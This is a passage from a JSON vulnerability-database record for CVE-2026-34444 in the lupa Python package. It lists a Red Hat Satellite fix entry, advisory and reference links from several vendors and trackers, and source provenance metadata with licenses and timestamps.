6.18","cpe":"cpe:/a:redhat:satellite:6.18::el9","status":"fixed","packages":["satellite/foreman-mcp-server-rhel9"],"package_count":1,"fixed":[],"advisories":["RHSA-2026:22993"],"provider":"redhat-vex","source":"CVE-2026-34444"}],"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-34444.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-34444"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2455413"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2026-34444"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34444"},{"type":"WEB","url":"https://github.com/scoder/lupa/security/advisories/GHSA-69v7-xpr6-6gjm"}]}],"references":[{"type":"WEB","url":"https://github.com/scoder/lupa/security/advisories/GHSA-69v7-xpr6-6gjm"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-34444"},{"type":"WEB","url":"https://www.suse.com/support/security/rating/"},{"type":"WEB","url":"https://bugzilla.suse.com/1261595"},{"type":"WEB","url":"https://ftp.suse.com/pub/projects/security/csaf/2026/opensuse-su-2026_10507-1.json"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-34444/"},{"type":"ADVISORY","url":"https://security-tracker.debian.org/tracker/CVE-2026-34444"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34444"},{"type":"PACKAGE","url":"https://github.com/scoder/lupa"},{"type":"PACKAGE","url":"https://pypi.org/project/lupa"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-69v7-xpr6-6gjm"},{"type":"REPORT","url":"https://ubuntu.com/security/CVE-2026-34444"},{"type":"REPORT","url":"https://www.cve.org/CVERecord?id=CVE-2026-34444"},{"type":"ADVISORY","url":""},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-34444.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-34444"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2455413"}],"sources":[{"provider":"cvelistv5","source_id":"CVE-2026-34444","url":"https://www.cve.org/CVERecord?id=CVE-2026-34444","license":"CC-BY-4.0","modified_at":"2026-07-15T01:04:26.105Z","relation":"self"},{"provider":"csaf-suse","source_id":"CVE-2026-34444","url":"https://www.suse.com/security/cve/CVE-2026-34444/","license":"TLP:CLEAR, mirroring permitted","modified_at":"2026-05-05T01:45:44Z","relation":"self"},{"provider":"csaf-suse","source_id":"openSUSE-SU-2026:10507-1","url":"https://www.suse.com/security/cve/CVE-2026-34444/","license":"TLP:CLEAR, mirroring permitted","modified_at":"2026-04-08T00:00:00Z","relation":"self"},{"provider":"nvd","source_id":"CVE-2026-34444","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34444","relation":"self"},{"provider":"osv","source_id":"DEBIAN-CVE-2026-34444","url":"https://osv.dev/vulnerability/DEBIAN-CVE-2026-34444","modified_at":"2026-10-27T09:47:31.613361Z","relation":"self"},{"provider":"osv","source_id":"GHSA-69v7-xpr6-6gjm","url":"https://osv.dev/vulnerability/GHSA-69v7-xpr6-6gjm","license":"CC-BY-4.0","modified_at":"2026-09-10T03:50:43.384103Z","relation":"self"},{"provider":"osv","source_id":"PYSEC-2026-2613","url":"https://osv.dev/vulnerability/PYSEC-2026-2613","license":"CC-BY-4.0","modified_at":"2026-07-13T16:32:12.344758Z","relation":"self"},{"provider":"osv","source_id":"UBUNTU-CVE-2026-34444","url":"https://osv.dev/vulnerability/UBUNTU-CVE-2026-34444","license":"CC-BY-SA-4.0","modified_at":"2026-10-17T13:00:01.503005Z","relation":"self"},{"provider":"osv","source_id":"openSUSE-SU-2026:10507-1","url":"https://osv.dev/vulnerability/openSUSE-SU-2026:10507-1","modified_at":"2026-04-09T08:01:06.382966Z","relation":"self"},{"provider":"redhat-vex","source_id":"CVE-2026-34444","url":"https://access.redhat.com/security/cve/CVE-2026-34444","license":"CC-BY-4.0","modified_at":"2026-05-01T20:00:39Z","relation":"self"}]}
